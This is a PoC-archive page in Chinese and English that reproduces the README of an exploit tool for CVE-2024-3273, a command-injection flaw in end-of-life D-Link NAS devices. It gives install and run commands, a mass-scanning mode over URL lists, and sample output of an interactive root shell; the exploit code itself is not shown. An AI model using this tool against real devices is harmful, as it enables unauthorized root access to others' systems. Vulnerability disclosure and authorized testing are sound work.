POC详情: 4857c57ecf7ab97b7377b517ead1d3d37ed5560a

来源
关联漏洞
标题: D-Link DNS-320 命令注入漏洞 (CVE-2024-3273)
描述:D-Link DNS-320是中国友讯(D-Link)公司的一款NAS(网络附属存储)设备。 D-Link DNS-320L存在命令注入漏洞,该漏洞源于文件/cgi-bin/nas_sharing.cgi存在命令注入漏洞。受影响的产品和版本:D-Link DNS-320L,DNS-325,DNS-327,DNS-340L,D-Link NAS Storage。
描述
D-Link NAS CVE-2024-3273 Exploit Tool
介绍
# 🛠️ CVE-2024-3273 Exploit Tool

## 🌟 Introduction

This script is a powerful exploitation tool for the CVE-2024-3273 vulnerability found in specific versions of D-Link NAS devices. It enables command execution and unauthorized access to the affected devices.

## ⚙️ Installation

To set up the exploitation tool, follow these steps:

1. **Clone the repository**:

```bash
git clone https://github.com/Chocapikk/CVE-2024-3273.git
```

2. **Navigate to the tool's directory**:

```bash
cd CVE-2024-3273
```

3. **Install the required Python packages**:

```bash
pip install -r requirements.txt
```

## 🚀 Usage

To use the tool, run the script from the command line as follows:

```bash
python exploit.py [options]
```

### Options

- **-u, --url**:
  Specify the target URL or IP address.

- **-f, --file**:
  Specify a file containing a list of URLs to scan.

- **-t, --threads**:
  Set the number of threads for concurrent scanning.

- **-o, --output**:
  Define an output file to save the scan results.

When a single URL is provided with the `-u` option and the target is vulnerable, the script will attempt to open an interactive shell.

### Example

```bash
$ python3 exploit.py -u http://127.0.0.1
[+] Command executed successfully.
[!] http://127.0.0.1 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
[+] Opening interactive shell...
$ id
[+] Command executed successfully.
uid=0(root) gid=0(root)
```

## 📊 Mass Scanning

For mass scanning, use the `-f` option with a file containing URLs. The tool will scan each URL and print concise results, indicating whether each target is vulnerable.

```bash
python exploit.py -f urls.txt
```

## 🗒️ Affected Versions

The vulnerability affects the following versions of D-Link NAS devices:

- DNS-320L Version 1.11, Version 1.03.0904.2013, Version 1.01.0702.2013
- DNS-325 Version 1.01
- DNS-327L Version 1.09, Version 1.00.0409.2013
- DNS-340L Version 1.08

These systems are considered to be end-of-life (EOL), meaning they are no longer supported or receiving updates from the manufacturer. It is strongly recommended that these systems are no longer used.

## 🛡️ Disclaimer

Use this tool responsibly and ethically. Always obtain proper authorization before testing any system for vulnerabilities.

## 👏 Acknowledgments

Special thanks to the researcher [@netsecfish](https://github.com/netsecfish) for their work in identifying this vulnerability.
文件快照

[4.0K] /data/pocs/4857c57ecf7ab97b7377b517ead1d3d37ed5560a ├── [5.5K] exploit.py ├── [2.4K] README.md └── [ 75] requirements.txt 0 directories, 3 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。